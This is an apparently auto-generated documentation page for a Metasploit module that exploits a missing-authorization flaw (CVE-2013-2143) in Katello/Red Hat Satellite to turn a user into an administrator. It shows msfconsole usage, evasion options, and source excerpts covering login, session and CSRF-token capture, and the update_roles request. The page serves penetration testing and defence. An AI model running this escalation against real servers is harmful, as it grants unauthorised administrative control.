Katello (Red Hat Satellite) users/update_roles Missing Authorization - Metasploit

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Module Overview

Module Ranking and Traits
Basic Usage
Required Options

Msfconsole Usage

Module Options
Advanced Options
Auxiliary Actions
Evasion Options

Error Messages
Related Pull Requests
References
See Also
Authors
Version

Module Overview

Name: Katello (Red Hat Satellite) users/update_roles Missing Authorization
Module: auxiliary/admin/http/katello_satellite_priv_esc
Source code: modules/auxiliary/admin/http/katello_satellite_priv_esc.rb
Disclosure date: 2014-03-24
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-2143

This module exploits a missing authorization vulnerability in the "update_roles" action of "users" controller of Katello and Red Hat Satellite (Katello 1.5.0-14 and earlier) by changing the specified account to an administrator account.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/admin/http/katello_satellite_priv_esc
msf auxiliary(katello_satellite_priv_esc) > show targets
    ... a list of targets ...
msf auxiliary(katello_satellite_priv_esc) > set TARGET target-id
msf auxiliary(katello_satellite_priv_esc) > show options
    ... show and set options ...
msf auxiliary(katello_satellite_priv_esc) > exploit

Required Options

RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: Your username
PASSWORD: Your password

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Msfconsole Usage

Here is how the admin/http/katello_satellite_priv_esc auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/katello_satellite_priv_esc

msf6 auxiliary(admin/http/katello_satellite_priv_esc) > show info

       Name: Katello (Red Hat Satellite) users/update_roles Missing Authorization
     Module: auxiliary/admin/http/katello_satellite_priv_esc
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-03-24

Provided by:
  Ramon de C Valle <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD                    yes       Your password
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      443              yes       The target port (TCP)
  SSL        true             yes       Use SSL
  TARGETURI  /                yes       The path to the application
  USERNAME                    yes       Your username
  VHOST                       no        HTTP server virtual host

Description:
  This module exploits a missing authorization vulnerability in the 
  "update_roles" action of "users" controller of Katello and Red Hat 
  Satellite (Katello 1.5.0-14 and earlier) by changing the specified 
  account to an administrator account.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-2143
  https://cwe.mitre.org/data/definitions/862.html
  https://bugzilla.redhat.com/show_bug.cgi?id=970849

Module Options

This is a complete list of options available in the admin/http/katello_satellite_priv_esc auxiliary module:

msf6 auxiliary(admin/http/katello_satellite_priv_esc) > show options

Module options (auxiliary/admin/http/katello_satellite_priv_esc):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Your password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      443              yes       The target port (TCP)
   SSL        true             yes       Use SSL
   TARGETURI  /                yes       The path to the application
   USERNAME                    yes       Your username
   VHOST                       no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the admin/http/katello_satellite_priv_esc auxiliary module:

msf6 auxiliary(admin/http/katello_satellite_priv_esc) > show advanced

Module advanced options (auxiliary/admin/http/katello_satellite_priv_esc):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/http/katello_satellite_priv_esc module can do:

msf6 auxiliary(admin/http/katello_satellite_priv_esc) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/http/katello_satellite_priv_esc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/katello_satellite_priv_esc) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

No response from remote host
Authentication failed
Failed to retrieve the current session
No response from remote host
Authentication failed
Failed to retrieve the current session
Failed to retrieve the user id
Failed to retrieve the CSRF token
Failed to retrieve the user id
No response from remote host
Failed to update user

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response from remote host

Here is a relevant code snippet related to the "No response from remote host" error message:

47:	        'password' => datastore['PASSWORD']
48:	      }
49:	    )
50:	
51:	    if res.nil?
52:	      print_error('No response from remote host')
53:	      return
54:	    end
55:	
56:	    if res.headers['Location'] =~ /user_session\/new$/
57:	      print_error('Authentication failed')

Authentication failed

Here is a relevant code snippet related to the "Authentication failed" error message:

52:	      print_error('No response from remote host')
53:	      return
54:	    end
55:	
56:	    if res.headers['Location'] =~ /user_session\/new$/
57:	      print_error('Authentication failed')
58:	      return
59:	    else
60:	      session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
61:	
62:	      if session.nil?

Failed to retrieve the current session

Here is a relevant code snippet related to the "Failed to retrieve the current session" error message:

58:	      return
59:	    else
60:	      session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
61:	
62:	      if session.nil?
63:	        print_error('Failed to retrieve the current session')
64:	        return
65:	      end
66:	    end
67:	
68:	    print_status('Retrieving the CSRF token for this session...')

No response from remote host

Here is a relevant code snippet related to the "No response from remote host" error message:

71:	      'method' => 'GET',
72:	      'uri'    => normalize_uri(target_uri.path, 'dashboard')
73:	    )
74:	
75:	    if res.nil?
76:	      print_error('No response from remote host')
77:	      return
78:	    end
79:	
80:	    if res.headers['Location'] =~ /user_session\/new$/
81:	      print_error('Authentication failed')

Authentication failed

Here is a relevant code snippet related to the "Authentication failed" error message:

76:	      print_error('No response from remote host')
77:	      return
78:	    end
79:	
80:	    if res.headers['Location'] =~ /user_session\/new$/
81:	      print_error('Authentication failed')
82:	      return
83:	    else
84:	      session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
85:	
86:	      if session.nil?

Failed to retrieve the current session

Here is a relevant code snippet related to the "Failed to retrieve the current session" error message:

82:	      return
83:	    else
84:	      session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
85:	
86:	      if session.nil?
87:	        print_error('Failed to retrieve the current session')
88:	        return
89:	      end
90:	    end
91:	
92:	    if res.headers['Location'] =~ /user_session\/new$/

Failed to retrieve the user id

Here is a relevant code snippet related to the "Failed to retrieve the user id" error message:

88:	        return
89:	      end
90:	    end
91:	
92:	    if res.headers['Location'] =~ /user_session\/new$/
93:	      print_error('Failed to retrieve the user id')
94:	      return
95:	    else
96:	      csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i
97:	      csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil?
98:

Failed to retrieve the CSRF token

Here is a relevant code snippet related to the "Failed to retrieve the CSRF token" error message:

95:	    else
96:	      csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i
97:	      csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil?
98:	
99:	      if csrf_token.nil?
100:	        print_error('Failed to retrieve the CSRF token')
101:	        return
102:	      end
103:	
104:	      user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/
105:

Failed to retrieve the user id

Here is a relevant code snippet related to the "Failed to retrieve the user id" error message:

102:	      end
103:	
104:	      user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/
105:	
106:	      if user.nil?
107:	        print_error('Failed to retrieve the user id')
108:	        return
109:	      end
110:	    end
111:	
112:	    print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...")

No response from remote host

Here is a relevant code snippet related to the "No response from remote host" error message:

121:	        'user[role_ids][]' => '1'
122:	      }
123:	    )
124:	
125:	    if res.nil?
126:	      print_error('No response from remote host')
127:	      return
128:	    end
129:	
130:	    if res.headers['X-Message-Type'] =~ /success$/
131:	      print_good('User updated successfully')

Failed to update user

Here is a relevant code snippet related to the "Failed to update user" error message:

128:	    end
129:	
130:	    if res.headers['X-Message-Type'] =~ /success$/
131:	      print_good('User updated successfully')
132:	    else
133:	      print_error('Failed to update user')
134:	    end
135:	  end
136:	
137:	  def target_url(*args)
138:	    (ssl ? 'https' : 'http') +

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